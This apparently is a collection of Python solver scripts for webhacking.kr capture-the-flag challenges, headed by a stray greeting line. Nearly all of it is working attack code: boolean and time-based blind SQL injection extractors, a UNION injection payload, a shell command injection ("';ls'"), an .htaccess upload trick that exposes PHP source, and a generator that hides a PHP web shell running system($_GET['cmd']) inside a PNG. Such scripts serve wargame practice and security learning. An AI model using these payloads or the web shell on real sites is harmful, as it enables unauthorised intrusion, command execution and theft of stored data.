Hello Navi

import os

import requests

BASE_URL = "https://webhacking.kr/challenge/web-10/"
TRUE_MARKER = "<td>1</td>"
TABLE_NAME = "flag_ab733768"
COLUMN_NAME = "flag_3a55b31d"
FLAG_LENGTH = 27

def make_payload(position, character_code):
    return (
        "ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})"
        .format(COLUMN_NAME, TABLE_NAME, position, character_code)
    )

def oracle(session, payload):
    response = session.get(
        BASE_URL,
        params={"no": payload},
        timeout=20,
    )
    response.raise_for_status()
    return TRUE_MARKER in response.text

def extract_flag(session):
    flag = []
    for position in range(1, FLAG_LENGTH + 1):
        for character_code in range(128):
            if oracle(session, make_payload(position, character_code)):
                flag.append(chr(character_code))
                break
        else:
            raise RuntimeError(f"no character matched at position {position}")
    return "".join(flag)

def main():
    session_cookie = os.environ.get("CHALLENGE_SESSION")
    if not session_cookie:
        raise SystemExit("set session-cookie to your own challenge session before running")

    session = requests.Session()
    session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

    flag = extract_flag(session)
    print(flag)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import re

import requests

BASE_URL = "http://webhacking.kr:10002/"

def upload_directory(response_text: str) -> str:
    match = re.search(r"/upload/[A-Za-z0-9]+/", response_text)
    if match is None:
        raise RuntimeError("upload response did not contain the upload directory")
    return match.group(0)

def main() -> None:
    session = requests.Session()
    response = session.post(
        BASE_URL,
        files={
            "upfile": (
                ".htaccess",
                b"php_flag engine off\n",
                "text/plain",
            )
        },
        timeout=20,
    )
    response.raise_for_status()

    upload_dir = upload_directory(response.text)
    flag_source = session.get(
        "http://webhacking.kr:10002" + upload_dir + "flag.php",
        timeout=20,
    )
    flag_source.raise_for_status()
    print(flag_source.text)

if __name__ == "__main__":
    main()

from pathlib import Path
import struct
import zlib

PHP = b'<?php system($_GET["cmd"]); ?>'

def chunk(kind, data):
    body = kind + data
    return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)

def make_png(path):
    signature = b"\x89PNG\r\n\x1a\n"
    ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
    scanline = b"\x00\xff\xff\xff"
    text = b"Comment\x00" + PHP
    png = b"".join(
        (
            signature,
            chunk(b"IHDR", ihdr),
            chunk(b"tEXt", text),
            chunk(b"IDAT", zlib.compress(scanline)),
            chunk(b"IEND", b""),
        )
    )
    Path(path).write_bytes(png)

if __name__ == "__main__":
    make_png("shell.png")

from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

FLAG_FILE = re.compile(r"flag_[0-9a-f]+")

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://webhacking.kr:10005/")
    args = parser.parse_args()

    response = requests.post(args.url, data={"id": "';ls'"}, timeout=20)
    response.raise_for_status()
    match = FLAG_FILE.search(response.text)
    if not match:
        raise RuntimeError("flag filename was not found in the command output")

    flag_url = urljoin(args.url, match.group(0))
    flag_response = requests.get(flag_url, timeout=20)
    flag_response.raise_for_status()
    print(flag_response.text)

if __name__ == "__main__":
    main()

import os
import string
import time

import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-34/"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
SLEEP_SECONDS = 2
DELAY_THRESHOLD = 1.5
MAX_LENGTH = 64
CHARACTERS = string.ascii_letters + string.digits + string.punctuation

def make_session():
    session = requests.Session()
    session.headers.update({"User-Agent": "old-57-writeup/1.0"})
    if SESSION_ID:
        session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
    return session

def request_is_true(session, condition):
    expression = (
        f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))"
    )
    started = time.monotonic()
    response = session.get(
        ENDPOINT,
        params={"msg": "a", "se": expression},
        timeout=SLEEP_SECONDS + 10,
    )
    elapsed = time.monotonic() - started
    response.raise_for_status()
    return elapsed >= DELAY_THRESHOLD

def discover_length(session):
    for length in range(1, MAX_LENGTH + 1):
        if request_is_true(session, f"LENGTH(pw)={length}"):
            return length
    raise RuntimeError("password length was not found")

def recover_flag(session, length):
    flag = ""
    for position in range(1, length + 1):
        for character in CHARACTERS:
            code = ord(character)
            condition = f"ASCII(SUBSTR(pw,{position},1))={code}"
            if request_is_true(session, condition):
                flag += character
                print(flag)
                break
        else:
            raise RuntimeError(f"no character matched at position {position}")
    return flag

def main():
    session = make_session()
    length = discover_length(session)
    print(f"length={length}")
    flag = recover_flag(session, length)
    print(f"flag={flag}")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
    "OLD07_URL", "https://webhacking.kr/challenge/web-07/"
)
PAYLOAD = "0)union(select(ceil(1.5)))#"
ATTEMPTS = 10

def main() -> int:
    with requests.Session() as session:
        for attempt in range(1, ATTEMPTS + 1):
            response = session.get(
                URL,
                params={"val": PAYLOAD},
                timeout=10,
            )
            response.raise_for_status()
            print(f"attempt {attempt}: {response.url}")
            if "old-07" in response.text:
                print(response.text)
                return 0
    print("The random query wrapper did not accept the payload in this run.")
    return 1

if __name__ == "__main__":
    sys.exit(main())